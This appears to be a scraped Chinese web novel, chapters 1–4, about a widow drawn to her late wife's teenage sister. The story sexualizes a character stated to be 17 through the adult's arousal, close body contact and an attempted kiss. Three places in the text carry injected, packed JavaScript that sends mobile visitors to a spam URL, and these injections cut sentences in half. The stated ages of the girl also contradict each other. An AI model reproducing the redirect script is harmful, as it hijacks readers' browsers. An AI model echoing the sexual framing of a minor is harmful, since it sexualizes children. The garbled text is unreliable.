《姐债嫂偿》 1. 第 1 章 晚上十一点半,陆知秋才回了家,她推开家门,看着客厅的灯还亮着。 城市的雨下了一整天,淅淅沥沥的,淋的她的外套的肩膀湿了一块,头发也湿了,她打了个喷嚏。 声音让屋里的女人注意到了她的回来。 “回来了?” 年上,成熟的女人的声音从沙发那边传过来,轻轻的。 陆知秋扭头,看见温予乔蜷在沙发一角,腿上盖着条米白色的羊绒毯。她手里拿着本书,好像是在看书,但看样子没怎么翻。 是等着回来看自己吗? 陆知秋垂下眼睫,不敢去深想。 “嫂子,你还没睡?” 陆知秋脱下湿了的外套,走到她跟前,问她。 “等你呢。”温予乔听言,放下书,从沙发上站起来。 她穿着件丝质的吊带睡裙,外面罩了件米黄色的开衫,看到陆知秋湿漉漉的头发和衣服,连拖鞋也来不及穿,直接光脚踩在地板上,走到她眼前, “怎么淋湿了?” 她很自然地抬手拂了拂她肩上的水渍,手指带着温柔的温度,然后抚上她的脸颊,眼里都是陆知秋看不懂的情愫,浓到要滴下水来,化作鲜甜的浆果。 陆知秋看不懂,她本能往后退去。 “没事,就一点。”她说。 温予乔闻言,才收回手,转身往厨房走:“去冲个热水澡,别感冒了。 “我给你做点姜茶喝。” 陆知秋应了一声,开始换鞋,余光不由己地瞥见温予乔在厨房里忙碌的背影。睡裙的布料很薄,灯光透过去,能隐约看见她丰腴的胸部和纤细的腰线。 陆知秋耳朵一红,她赶紧移开视线。 等陆知秋洗完澡出来,姜茶已经摆在客厅茶几上了。温予乔坐在对面的单人沙发上,双腿放在少发上,露出一双白皙的足,上边涂着蔻丹,露出纤细的小腿,肌肤白的像是要透光,抱着膝盖看她。 “喝了。”她说,温温柔柔的。 陆知秋端起杯子,喝了一口,有些烫,又放下。 “今天怎么这么晚?”温予乔问。 “上完最后一节课跟李笑笑她们吃了点东西。”陆知秋又端起姜茶,吹着,“就学校后面那家烤肉店。” “喝酒了?” 陆知秋顿了一下:“……就一瓶锐澳。” “锐澳也是酒。”温予乔的语气听不出是责备还是什么,“你才多大。” “她们说,马上十九了,得练练酒量。” 温予乔笑了笑,没接话。她换了个姿势,把下巴搁在膝盖上,目光落在她脸上。陆知秋被她看得有点不自在,趁烫喝了一口姜茶,果不其然,烫得直吸气。 “慢点。”温予乔说。 静了几秒。 “对了,”她又开口,“你姐姐有套晚礼服,我前几天收拾储藏室翻出来了。改天你试试,看能不能穿。” 陆知秋抬头,问到:“我姐姐的?” “嗯。” “酒红色的,料子很好。”温予乔说,“你个子应该能撑起来。” “我就穿不了了,你姐姐…… ” “我怕想起来你姐姐。” 她说着说着,又要哭出来了,眼泪在她的眼眶打转,迟迟不落下来,看起来很可怜。 陆知秋不知道该说什么。 她姐姐陆知清去世那年,她才八岁。关于姐姐的记忆已经很模糊了,只剩下一些零碎的片段。 只记得她个子比较高,声音很冷,笑起来很好看。 以及对她妻子的印象。 葬礼那天,姐姐没有留下一点东西,只有一套别墅,钱,还有新婚一年的嫂子。 嫂子温予乔抓着小陆知秋的手,抓得很紧,陆知秋以为嫂子会哭,但嫂子没哭,一滴眼泪都没掉。 怕不是背地里已经哭了很多次吧。 眼泪已经流干了,已经无法在那时候哭出来了。 而且也怕,哭出来的自己,会让身旁又形单影只的小秋哭出来,伤了小孩子的心。 陆知秋垂下眼睫,不用想都是这样子。 “……” “我穿我姐的衣服……不太好吧。”陆知秋开口说。 “有什么不好?”温予乔语气很平常,“放着也是放着。你上大学了,总得有套正装礼服。” 她从沙发上下来起来,走到她面前。 陆知秋在沙发上坐着,她站着,这个角度她得仰头看嫂子。 温予乔伸手,指尖碰了碰她的耳垂。 “这里红了。”她说,“你一喝酒就这样。跟你姐姐一模一样。” 她的手指有点凉,碰上去,冷的陆知秋抖了一下。 温予乔看到陆知秋被冷的抖了一下,眼睛弯了弯,很快就收回了手,对她来说,她是想要得到陆知秋那样的反应,才会这样做。 她八手指收回了之后,转身往楼梯走:“快去睡吧,明天还要上学。” 丝质的睡裙下摆,随着她的动作飘起来,轻轻扫过陆知秋的小腿, 虽然碰到的是小腿,但像挠痒痒一样搔着陆知秋的心尖, 陆知秋在原地站了一会儿,不知所措,愣了一会,才端着空杯子去厨房。 洗杯子,水哗啦啦的流,碰到杯壁,姜茶的温暖还留在陆知秋的心里。 等到洗完杯子出来,客厅的灯已经关了,只剩楼梯拐角那盏小夜灯还亮着。 她摸黑回到自己房间。 躺到床上的时候,耳朵那块皮肤还留着刚才的触感。凉凉的,有点痒。 陆知秋翻了个身,把脸埋进枕头里。 她想起笑笑今天在烤肉店说的话。 “你嫂子对你真够好的。”笑笑啃着鸡翅,含糊不清的说,“又接又送的,还天天给你做饭。我要是有这么个嫂子,我天天回家。” 张悦在旁边笑着说:“得了吧,人家那是可怜她。” “姐姐在她八岁就失踪了,总不能不管吧。” “好歹也是妻子的妹妹。” “喂。”笑笑踹了张悦一脚,示意她说错话了。 但张悦说的是实话。 陆知清和陆知秋是弃婴,从小长在福利院,等到陆知秋五六岁的时候,陆知清忽然得到了一纸继承书,继承了别墅,还有巨额财产,带着陆知清逃离了福利院。 从福利院到陆家,陆知秋从小都是姐姐陆知清把她带大的,一直带到八岁。 一开始,陆知秋只有陆知清。 七岁的时候,陆知秋结婚,娶了嫂子,那时候她的家庭有陆知秋和温予乔。 再后来姐姐去世,她就只剩下温予乔了。 姐姐只留下继承下来的婚房,和很多财产。 但陆知秋希望,哪怕不要这些财产,只要陆知清还在她身边陪着她就好,和嫂子一起生活,三个人好好在一起生活,就好了。 陆知秋不想谈恋爱,只要姐姐和嫂子可以幸福,她做什么事情都可以。 做一位旁观者,看着幸福,滴下甜蜜的一切。 现在住的这房子很大,三层,有个小花园。是姐姐结婚前继承的。 姐姐去世后,所有人都劝温予乔卖掉别墅,换个小的,还能有些别的钱,自己拿走也好,照顾小秋也好,都可以。 她们也没有指望小秋能被嫂子养大。 才结婚一年,何必被结婚一年的妻子的妹妹绑住手脚呢,天高任鸟飞,海阔凭鱼跃,并不要求嫂子把小秋养大。 可是嫂子她没卖。 她说:“得给小秋留个家。” “……” 陆知秋盯着天花板,脑子里乱糟糟的,一会儿是温予乔碰她耳朵的手指,一会儿是她转身时睡裙扫过小腿的柔软,一会儿又是张悦那句“人家那是可怜她”。 嫂子。 她是嫂子,是养了她十年的人。 嫂子就是嫂子,是不可以成为恋人的。 温予乔像妈妈,像姐姐,反正……反正不能是别的。 陆知秋又翻回来,盯着天花板发呆。 姐姐陆知清。 她记忆里的姐姐已经很模糊了。 八岁前的记忆像蒙了层雾,记不清,只记得姐姐比较高,总是穿得很整齐,身上有好闻的味道。 姐姐会把她举起来转圈圈,会在她哭的时候给她买冰淇淋,还会在睡前给她读故事书。 然后姐姐结婚了,娶了温予乔。 婚礼那天陆知秋是花童,穿着小白裙子,捧着戒指。 她也记得嫂子那天真好看,白色婚纱,笑起来眼睛弯弯的。姐姐穿着另一套白色婚纱,站在她旁边,牵她的手。 不知道过了多久,她迷迷糊糊快要睡着的时候,敲门声响了。 轻轻的,才敲了两下。 “小秋,我可以进来吗?” 是嫂子。 她惯用的娇娇软软的语气,惹人可怜,湿漉漉的。 陆知秋从床上坐起来,说道:“……进来。” 门开了条缝。 温予乔端着杯牛奶站在外面,走廊的光从她身后透进来,给她整个人镶了层毛茸茸的柔软,看着更加温柔可亲了。 “想着你可能睡不着。”她走进来,把牛奶放在床头柜上,“温的,喝了。” 陆知秋接过来。玻璃杯暖暖的,握在手里很舒服。 温予乔在床边坐下。她换了件睡袍,带子松松地系着。头发放下来了,披在肩上,看起来比平时软。 “小秋。”她叫她,声音很轻。 “嗯?” “有时候看你,总觉得时间过得太快。”温予乔说,“你刚来的时候,才那么一点高,和豆芽菜一样,” 她用手比划了一下,手腕本来就白的肌肤,被台灯的光一照,显得更加白皙,白得晃眼。 陆知秋笑了:“有这样小吗?” “可不,”温予乔也笑了,眉眼弯弯,“那会儿还是小崽崽,一开始连我都不接近,后来呀,认我了,就躲在我怀里哭,泪眼汪汪的,不让别人近。” “转眼间,现在都是大人了。” “快比我还高了。” 陆知秋喝着牛奶,没说话。 温予乔看着她,看了好一会儿。然后她伸出手,替她理了理额前有点乱的头发。 她的手指很轻,撩起她的发丝,露出陆知秋的眉眼。 温予乔有些看愣了。 随即意识到了自己的失态,放下了手。 “快睡吧。”她说,收回手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177088|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身的时候,睡袍的领口松了一下。陆知秋看见一道白色的沟,还有镂空的蕾丝花边。 她立刻移开视线,盯着手里的牛奶杯。 “……” “这就睡。” 温予乔好像没注意到。她走到门口,手搭在门把手上,又回头。 “对了,”她说,“礼服的事,周末吧。你试试。” 陆知秋应了一声“好”。 温予乔在门口迟疑,随即又说:“小秋。” 陆知秋侧头,像养大的小狗晃脑袋:“嗯?” 温予乔看着她,眼神有点复杂,好像想说什么,但又在犹豫。 “怎么了嫂子?”陆知秋问。 “……没什么。”温予乔最后还是摇了摇头,“就是想说,以后晚归的话,记得发个消息。别让我担心。” 她的语气还是一样的温柔似水。 可陆知秋听出了一点别的情感出来。 ……委屈? 不可能。 陆知秋把这个念头压下去, 嫂子怎么会委屈。 “知道了。”陆知秋点头,“下次一定发。” 然后门轻轻关上了。 陆知秋关掉台灯,重新躺下。 黑暗里,刚才那一眼的画面挥之不去。 她闭上眼,又睁开。 最后她爬起来,从床头柜抽屉里摸出手机,点开微信。 聊天置顶是“嫂子,720”。 她点进聊天框,手指在键盘上悬了半天,一个字都没打出来。 也不是想发消息,就是想打开看看。 算了。 她把手机扔到床边,重新躺下。 这次她强迫自己什么都不想。数羊,一只,两只,三只…… 数到不知道第几只的时候,她终于睡着了。 --- 楼下,主卧里。 温予乔背靠着关上的门,慢慢滑坐到地板上。 她抬起右手,看着刚才碰过陆知秋耳朵的那几根手指,看了一会儿,少女的温度和敏//感好像还在手指头上,她把手蜷起来,指尖抵在嘴唇。 窗外有车灯扫过,光线从窗帘缝隙里漏进来,在她脸上划了一下,又暗下去。 “陆知清。” 温予乔在黑暗里说着, “你看看,你留下的都是什么。” “但我很开心,你留下了小秋……” “知清你……” 她说着说着,自己就笑了, 笑得肩膀抖起来,也不出声。 再然后,笑着笑着,眼泪就下来了。 她没擦,任由它流。流到嘴角,咸的。 “连我碰都没有碰过一次……” “是我哪里不好吗?我长得还算可以啊,身材也好, “也会床事上讨好女人,” “可是为什么你看都不愿意看我一眼呢?” 女人捂住眼睛,哭泣出来,泪水透过她的指隙,滴下来, “既然不喜欢我,就不要娶我……” 哭了几分钟,她撑着地板站起来,回到自己的房间,走到穿衣镜前。 镜子里的人头发凌乱,眼睛红着,睡袍的带子松垮垮的,一边肩膀露出来。 温予乔看着镜中的自己,看了很久。 然后她抬手,手指顺着睡袍的领口慢慢滑下去,挑开黑色蕾丝的罩杯,停在心口的位置,依稀还可以感受到她胸口丰腴的软肉,豆子受了凉,挺立起来, 这里,一想到陆知秋那里跳得很快。 她看着镜子里的眼睛,对自己轻轻,柔软,温和的说道:“温予乔,你完了。” 陆知清除了钱什么也没有留下,温予乔讨厌陆知清,恨陆知清,但她却唯独有一点感谢陆知清, 她留下了她最可爱的妹妹。 乖巧,顺从,听话,漂亮,温柔。 按照现在小孩儿的说法,冷脸萌。 温予乔喜欢的喜欢不要,养育她的十年,完全不出于责任和麻烦,反而是溢出心房的喜爱。 说完,她转身,走到衣柜前,打开最里面的那个抽屉。 抽屉里很空,只放了一个相框。照片是婚纱照,她穿着白纱,陆知清也穿着白色的婚纱。两个人都在笑。 温予乔拿起相框,用手指擦了擦玻璃表面,陆知清的脸还是那样清冷而高不可攀,在灯光的反射下几乎看不清了。 “……对不起啊,我以前就没有想高攀你,现在也不想高攀你。” “本来还想要你回来看看我是怎么幸福的,但是你在那边也没有办法了吧。” “对不起啊。”她说,“我可能……等不下去了。” 她把相框扣在抽屉里,关上抽屉,关掉灯,接了杯热水,然后吃下安眠药,才得以入睡。 房间陷入彻底的黑暗。 窗外,雨又开始下了,淅淅沥沥的,打在玻璃上,像谁在轻轻敲门。 温予乔入睡前想的最后一句话是, 陆知清,我或许没有那样讨厌你。 小姑子是亡妻留下的妻子。 我很谢谢你呢,为我留下陆知秋这样的宝贝。 ……第一次为你不能回来而感到庆幸。 2. 第 2 章 周末下午,温予乔真的把礼服翻出来了。 储藏室那个大纸箱一打开,一股樟脑丸味儿混着旧布料的味道就冲出来,毕竟,已经十年了。 陆知秋站在旁边看,温予乔蹲在箱子前,小心翼翼地把那套晚礼服拎出来。 “看,保存得多好。”她站起来,把礼服举在身前, “意大利定制的,当年花了你姐姐小十万。” 陆知秋盯着那套衣服,是姐姐照片里穿过的一条,吊带、收腰、鱼尾裙摆,酒红色的丝绒,缀着细碎的暗纹。 但她不想去细想陆知清穿上这套衣服是什么样子的。 反正她, 反正姐姐她, 抛弃下她和嫂子了。 “试试?”温予乔转头看她,说着,把礼服往她怀里一塞,“你俩身材应该差不多。走,屏风后面换。” 储藏空角落立着个老式屏风,绣着花鸟。 俩人走在后边,陆知秋不自觉看向身边的嫂子。 嫂子今天穿的比较简单,只穿了件洗得发软的米白色棉质睡裙,清爽又方便。 料子薄薄的,被胸前沉甸甸的两团肉顶起,饱满而白嫩,随着温予乔的呼吸,嫩肉也微微颤晃。 陆知秋看了一眼,又收回来了目光。 “嫂嫂,你先试试吧。”她顿了顿,说着,尽力不去看那片晃眼的饱满,“你穿,我就穿。” 温予乔抬眼看她,手抓着礼服,有些无措,眼波在昏黄光线下显得很漂亮的:“我?这是你姐的……” “而且这件……太紧了,我可能穿不下。” “这些年照顾你,身上长肉了……”温予乔小声又补充道。 “试试嘛,”陆知秋走过去,轻触温予乔的手背,“看看样子。” 温予乔看着她,叹了口气,妥协了:“那……就试试。” 温予乔正要去换,似乎又想到了一些事情一样,侧过小脑袋,露出漂亮精致的侧颜,娇嗔道:“转过去,不许偷看。” 声音娇娇软软的,像被熨了的棉花糖,甜蜜柔软,温柔似水,又含着水一样的娇气。 陆知秋依言转过身,面对着花纹的屏风。 身后传来窸窸窣窣的衣物摩擦声,棉质背心被脱下的细微声响,然后是皮肤暴露在微凉空气里,女人的喘/息声。 这拉链……”温予乔的声音带了点难堪的喘/息,“在背后,我有点……够不着。” “小秋,帮帮嫂嫂……” “帮我……” “好。”陆知秋转身。 然后,看到此时的温予乔。 让她眼前一愣。 温予乔背对着她,礼服勉强套上了身,但背后的拉链只拉上去一小截,卡在了她性感的腰窝上方,腰窝深的像是能舀住水,积出水汪汪的深潭。 “……” 陆知秋快速收回了视线。 暗道自己有时候真是个禽兽。 正当陆知秋自责的时候,嫂子开始娇弱地哼唧。 “卡、卡住了……”温予乔侧过脸,脖颈和脸颊都泛着红,不知是用力还是别的,娇声道,“拉不上,太紧了……” 声音甜到黏腻,蜜到汐,妩在少女的心尖。 陆知秋靠得温予乔很近,闻到温予乔身上传来的沐浴露的清甜,和她身体略带腥甜的馥郁。 陆知秋抬起骨节分明,白皙修长的手,放在温予乔裸露的背脊上,皮肤温软滑腻,含有温润的血色,像是羊脂玉一般。 “都是你让我试衣服的错……” 温予乔感觉到少女的靠近,侧头嗔了她一眼,那一眼水润润的,似嗔似怨。 陆知秋垂下眼睫,缓缓拿住裙子的金属拉链头,手覆盖在丝绒之上,丝绒紧紧包裹着嫂嫂的腰臀,勾勒出嫂嫂的每一寸起伏。 “……往上拉就行。”温予乔说,声音近在耳畔。 陆知秋用力扣弄。 然后,拉链齿咬合,“嘶啦”几声,往上拉了起来。 然后,裙子更紧地贴合在温予乔的身上。 腰肢被勒得更加不盈一握,臀部被包裹得浑圆挺翘,低胸的吊带设计,让那两团软肉挤出更深的沟壑,白得晃眼。 “好了吗?”温予乔问,试图转身看看镜子。 然而,地板太滑,她“哎呀”一声,然后整个人向旁边倒去。 陆知秋身体先于意识动作,张开手臂,一把将人接住,紧紧搂进怀里。 撞击的力道让两人都跟跄着退了一步,陆知秋的背重重撞在衣柜门上,发出闷响。但她的手牢牢箍住了温予乔的腰,另一只手托住了她的后背,把她抱在怀里,不让她受伤到分毫。 “……” 温予乔整个人都趴在了陆知秋身上,胸前被两团柔软挤压在陆知秋的身上,丰腴、温软,温予乔的腹部也紧贴着她的小腹。 她们的脸挨得极近,鼻尖几乎相碰,呼吸交缠在一起。 “小……小秋……”温予乔吓到了,声音又轻又颤,吐出的热气烫着陆知秋的下巴,她的双手无措地搭在陆知秋的肩上,手指微微蜷缩着,陆知秋靠前一步,搂住嫂嫂的腰。 她把嫂嫂抱得更紧了,下巴蹭着温予乔的耳朵和鬓角。 温予乔十年没有被碰过的身体,现在被17岁的少女拥抱在怀,闻着少女发间的栀子花香,身子被抱的发软,像是骨头缝里漫出来了一滩水,热乎乎的,让她身子软,腿软,站也站不住,只能无助的倚着眼前这具年轻,漂亮,滚烫的身子。 陆知秋的手箍在她的细腰,微微陷下去。 ……痒。 十年了。 整整十年,没有女人再碰她了。 整整十年,这栋房子里只有她和她。 陆知秋从八岁离开姐姐,怯生生拉着她衣角的小女孩,长成如今这个身高已经和她差不多,甚至比她还要高一点,眉眼清秀,但总是带着疏离与冷淡的少女。 她叫她“嫂子”,恭敬,却也仅限于此。 她的世界里,似乎只有学校,独居,音乐,以及和那些温予乔不太懂的朋友圈。 她有时候半夜醒来,望着空荡荡的天花板,会觉得冷,自己被遗忘,自己被闲置,自己不被爱的冷。 她才三十岁,最好的年纪,却被活生生钉在了“未亡人”和“监护人” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她知不知道,她独自一人在夜里翻来覆去,无法入睡,空虚得发疼的体会? 她知不知道,她在洗澡时热水冲过皮肤,会忍不住颤抖的,像是有蚂蚁在爬的痒? 她知不知道,有时候看着电视里女/女缠/绵的镜头,会夹紧腿摩擦自己的她? ……温予乔,你真傻。 这些,小秋怎么可能懂。 在她眼里,你只是“嫂嫂”,一个管她吃饭穿衣、唠叨她学习的“长辈”。 如果……如果你现在靠过去,踮起脚,亲她一下……她会是什么反应? 她会推开你吗?还是会愣住?她会有什么反应? 十八岁的女孩子,正是对别的女性有性幻想的时候……就算对自己没心思,那身体呢?身体总会有点诚实的反应吧? 比如,腹地会变得思/春之类的…… 温予乔的呼吸乱了,她抬起头,看向陆知秋的脸。 她正垂着眼看她,眼神依旧清澈,关切地对自己的嫂子问道:“怎么了?嫂子?” 看,她根本什么都没察觉到。 委屈,渴望,伴随着背/德的邪火,在温予乔心里生长。 就一下……就偷偷试一下…… 温予乔的眼睛黏在少女的嘴唇上,小孩儿的嘴唇,小朋友的嘴唇,年轻的女人的嘴唇,那两片柔嫩的、微微开启的唇瓣,伴着少女对自己的注视,而上下开合的唇瓣,粉嫩像是初春的樱花。 ……看起来好软。 一定很好亲吧。 3. 第 3 章 温予乔的嘴唇往陆知秋的嘴唇贴去,陆知秋垂下眼睫,正打算错过头去,拒绝这个吻。 “和嫂子接吻,是嘴不可以的事情啊。” 就在这时。 “咔哒。” 大门那里传来钥匙转动的声音。 紧接着,是钟点工刘阿姨熟悉的大嗓门,带着笑意,说着:“太太?小姐?我进来了哦!今天轮到彻底清扫,王姐也一起过来了~” 她说了之后,进了屋,客厅传来脚步声,随即是另一个稍显年轻的女声:“刘姐,夫人和小姐不在客厅啊。” “可能上楼了吧?我们先擦这边……” 脚步声和交谈声由远及近,朝着温予乔和陆知秋抱在一起的的屏风走来。 温予乔此时踮起脚尖,正打算吻自己的小孩,听到了声音,立刻退后,想要脱身,却被逼仄的屏风空间弄得无处可躲,反而一番动作之后,在陆知秋怀抱里被抱得更紧。 声音把温予乔从迷乱沉沦的幻境中拽回现实,但依然没有分开两个人紧紧拥抱在一起的身体,两个人仍然紧紧抱在一起。 不行,不可以。 要是让刘姨看见,自己这个守寡十年的未亡人,衣衫不整地穿着晚礼服,和自己快成年的小姑子以这种姿势抱在屏风里。 ……她不敢想。 绝对不可以。 绝对不能让刘姨进来。 可她现在被迫被抱的很紧,又被裙子束缚着,根本没法立刻整理仪容跑去门口解释。 她的泛红的脸颊,她的颤抖的睫羽,她的情欲未消的媚意,她未褪的欲望, 刘姨那种过来人,怎么可能听不出来? 然而刘姨的脚步不因温予乔的想法而放缓,越来越近,温予乔只好抬头,用湿漉漉,饱含渴求,渴望被保护的眼睛,对陆知秋比了“嘘”的手势, “别出声。” 她这样说着。 其实,陆知秋倒是不说话,她本身就是话不太多的性子, 可温予乔自己想着制止自己的行为,外里变得冷静下来,可内心却无法停息自己内里升起的邪火,下巴抵在少女的颈窝,闻着少女喜欢用的柠檬沐浴露的味道,内心更加焦躁,连呼吸都含着引诱的潮热。 让她忍不住哼唧了一声,连她自己都不知道,自己会这样子,不可自控,无法自制的, “嗯……小秋……” 潮热的哼唧从屏风的间隙中泄露出来。 “……屏风那里怎么有声音?”刘姨疑惑地说起,“听起来好像还是夫人的……” “欸?我觉得夫人不在家呢。”年轻的女人说着,“夫人在那里的话,小姐是不是也会在?” 在她们的记忆里,夫人和小姐如同双生女一样形影不离一般,只要小姐放学在家,夫人在的地方小姐就在那里,小姐就像是夫人的小挂件,夫人的小尾巴,夫人的小团子,从拉着夫人的手,还赶不上她的脚步,只能夫人后边“吧唧吧唧”地走的小豆芽,长到如今现在和夫人并行,比夫人还要高一些的大豆芽, 所有人都默认着,她们一定会在一起的。 有她就会有她。 啊,指的是物理距离上。 或者说,如果小姐不是之前知清夫人的妹妹,而是和温夫人没有伦理关系的普通十七岁女孩,她们反而会觉得,知秋小姐是温夫人绝佳的恋爱对象呢。 但是,那也是主家的事情了。 毕竟她们可是正经名义上的嫂子和小姑子,哪有在一起的道理。 在一起了,知清夫人怕是会不开心。 刘姨逐渐走进屏风。 “是夫人吗?” 温予乔听到屏风外的声音,自知无法躲避,只好控制一下自己的语气,让声音听起来正常一点:“啊……是,我在……我在帮小秋试衣服呢!这……这孩子,自己拉不上拉链.......” 陆知秋腹诽:……拉不上拉链的是嫂嫂吧。 没有说嫂嫂的意思,嫂嫂很漂亮,嫂嫂很可爱,嫂嫂做什么都是对的,是世界上最好的嫂嫂。 说着,她又抱紧了温予乔,她的身体暖暖的,让怕冷,追求被爱,想要被人拥抱,被人宠爱,被人关心有加的陆知秋格外贪恋,贪恋温予乔的温度。 陆知秋自以为是亲人意义上的。 温予乔却误以为陆知秋是在贪恋温香软玉在怀的感觉,轻轻推了她一下, 温予乔以为她是爱情意义上的。 温予乔腹诽:“坏孩子,松……松一点啊。” 屏风外的刘姨并未怀疑,内心感叹到“夫人和小姐的姑嫂关系真好啊”,随后了然而宽慰的说,“哦哦!试衣服啊!难怪呢!” “那是得夫人您帮衬点,小姐正在长身体,尺寸容易不合。” “那什么……夫人,小姐,你们慢慢试,不急啊!我俩先打扫别处,不打扰你们!” “对、对,你们忙你们的……”温予乔被陆知秋抱着,连忙应道, 刘姨再不回去的话,温予乔怕自己撑不住了。 她抬起眼,眸子里水光潋滟,看向近在咫尺的少女,有气无力地说道,含着潮热的欲恋水汽: “放……放手。” 陆知秋眨眨眼:嫂嫂你在害怕吗? 温予乔捏了一下陆知秋的耳垂:“……坏小孩。” —— “嗯嗯,嫂子,太紧了……” 温予乔替陆知秋拉裙子拉链。 “小秋,轻一点,别太用力……” 陆知秋以为衣服拉好了,刚想要提起裙摆走一下,结果衣服还没有拉好。 “不然会夹的你手指痛的……” 陆知秋想自己提裙子,裙子拉链有点卡着她了,动不下去。 “嫂子……嫂子帮你弄弄……” 温予乔最后给陆知秋换衣服,拉拉链,看看提上去了没有。 衣服穿好了。 晚礼服酒红色的绸缎滑过皮肤,冰冰凉凉的,布料传上去就知道很好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177090|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆知秋站在穿衣镜前,看着镜子里头那个人。 原本嫂子穿着这条裙子,现在换成了陆知秋穿着姐姐的裙子。 ……两个人穿一条裙子,嫂子穿过了,总觉得上边还有嫂子馥郁的香气,和身体软肉柔软的触感。 如果可以,她真的想自己摸一下嫂子的软肉。 晚礼服酒红色经过十年的沉淀,颜色可能比它的一开始色还沉了些,像陈年的红葡萄酒,以及干涸了的血。 陆知秋的个子可能比姐姐矮一点,裙摆堆在脚踝上,堆出些柔软的褶,略微显大。 腰身那里倒是意外的合适,只是胸口有点空,锁骨下面露出一片白皙的皮肤。 陆知秋扯了扯肩带,绸子滑溜溜的,不太听话。 “怎么样?” 温予乔轻柔的声音从身后传来,接着,微凉的手指便落在陆知秋的肩颈处,帮她调整着那两根细得可怜的带子。 指尖碰到皮肤,陆知秋被凉到了,缩了一下。 “怎么了?紧?”温予乔问。 “没,就是……有点不习惯。”陆知秋说。 她很少穿这样正式的衣服,更别说这种颜色。 温予乔从上到下帮她调理一下,抚平褶皱,过一会儿弄好了。 她退开半步,也望向镜子里。 房间里一时安静下来,只有窗外隐隐约约的、傍晚时分的鸟叫声。 镜子里站着两个人,一个穿着酒红旧裙的少女,一个穿着家常米白毛衣的年轻女人。 少女的头发乌黑,松松地披在肩上。 年轻女人的头发在脑后挽成一个简单的髻,露出光洁的额头和修长的脖颈,不知为何,脸颊有点泛红。 她们都没说话,只是看着镜子。 看了好一会儿,温予乔轻轻说了一句: “真像。” “像什么?” “像你姐姐陆知清。”温予乔的目光落在镜中陆知秋的脸上,好像是透过她,在看别的女人,“特别是眼睛……简直一模一样。” 陆知秋也看着镜子里的自己。 像吗?她不太记得姐姐具体的样子了。 记忆里的陆知清总是模糊的,笼着一层光晕,有时笑着,有时蹙着眉,但五官的细节早已被时间冲刷得淡了。 家里照片倒是有的,但她不太敢看,总觉得照片上那个漂亮得有些锐利的女人,离自己很远,离嫂子也很远。 反正那个女人永远也不会回来了。 “和姐姐很像……” 陆知秋喃喃地说,抬起手,碰了碰自己的脸颊。 镜子里的女孩也做着同样的动作,眼神里有些茫然。 “嗯。”温予乔点了点头,往前走了一小步,离镜子更近了些,也离陆知秋更近了些。 俩个人的心脏快要贴在一起。 她们像两团皮和骨头都快要搅在一起的肉。 透过皮肉,她们心脏紧紧相贴,共享彼此的心跳。 4. 第 4 章 温予乔抬起手指,轻轻描摹着陆知秋的眉眼,说着“特别是你不说话,安安静静看着什么的时候。” “你姐姐话也不多。” “话也不多?” “嗯。”温予乔接着说,“脸上也没什么表情,看人的时候…嗯,就感觉不太好接近。” “你话也不多,但你比她要……热一点。” “对人的感觉更加真挚一些。” 热一点? 真挚一些? 陆知秋琢磨着这俩词。 她觉得自己挺闷的,在学校也不是那种活泼的人。 “姐姐她……对所有人都很冷吗?”陆知秋忍不住问。 她脑子里关于姐姐的记忆太模糊了,八岁之前的片段零零碎碎,只记得一个总是很忙,身影很高,身上有淡淡香味的影子。 举起来她转圈圈,给她读童话书,给她带包装漂亮的糖果,会在她生病时用手背试她额头的温度。 这样好的姐姐,结果却是性子比较冷的吗? 温予乔被问住了,沉默了一会儿,说:“她……性子就是那样的。不过,”她看向陆知秋,眼神柔和下来,“她对你是很好的,很温柔,不是很冷。” 这个陆知秋相信。 记忆里的糖,转圈圈,读书的声音,以及为她测体温的手背是真实的。 陆知秋点点头:“我知道。”然后,几乎又是脱口而出,她问:“那……对嫂子你呢?” 话问出口,屏风里就安静了。 只能听到两个人轻轻的呼吸声。 陆知秋话说出口就后悔了,果然不应该问的。 温予乔垂下眼睛,长长的睫毛盖下来,遮住了她的情绪。 陆知秋见状有点不安,知道自己问了不该问的,她正想开口说点什么岔开话题,就看见一滴很大的晶莹的泪珠,从温予乔的脸颊上掉落下来。 一滴,一滴的。 止不住的。 掉眼泪。 “嫂子?”陆知秋吓了一跳,转身想去拉她,又碍于身上这件麻烦的裙子,动作有点笨拙,“你……你怎么了?” 温予乔抬起手,用手背抹了一下眼睛,吸了吸鼻子抬头。 她的眼眶红红的,努力挤出一点笑容,带着鼻音说着, “没事……” “就是……突然想起你姐姐了……想起她以前……” 她没再说下去,只是又低下头,又流着眼泪。 陆知秋手足无措地站着,看着温予乔哭,她心里也跟着发酸。 她想,嫂子一定是想起姐姐生前对她的好了,所以才这么伤心。 姐姐对自己那么好,对嫂子肯定也很好吧。 嫂嫂哭得这么厉害,一定是因为姐姐太好了,她们的妻妻感情太深了,所以想起来才这么痛。 ……姐姐是好姐姐。对妹妹好,对妻子也好。 “嫂子,你别难过了。”陆知秋说,“姐姐……姐姐虽然不在了,但是……但是我还在啊。” 她看着温予乔泪湿的脸,不禁想要安慰她,想要填补姐姐留下的空缺。 “我会……我会把姐姐那份,也一起对你好的。” “……尽我全力,加倍对你好。” 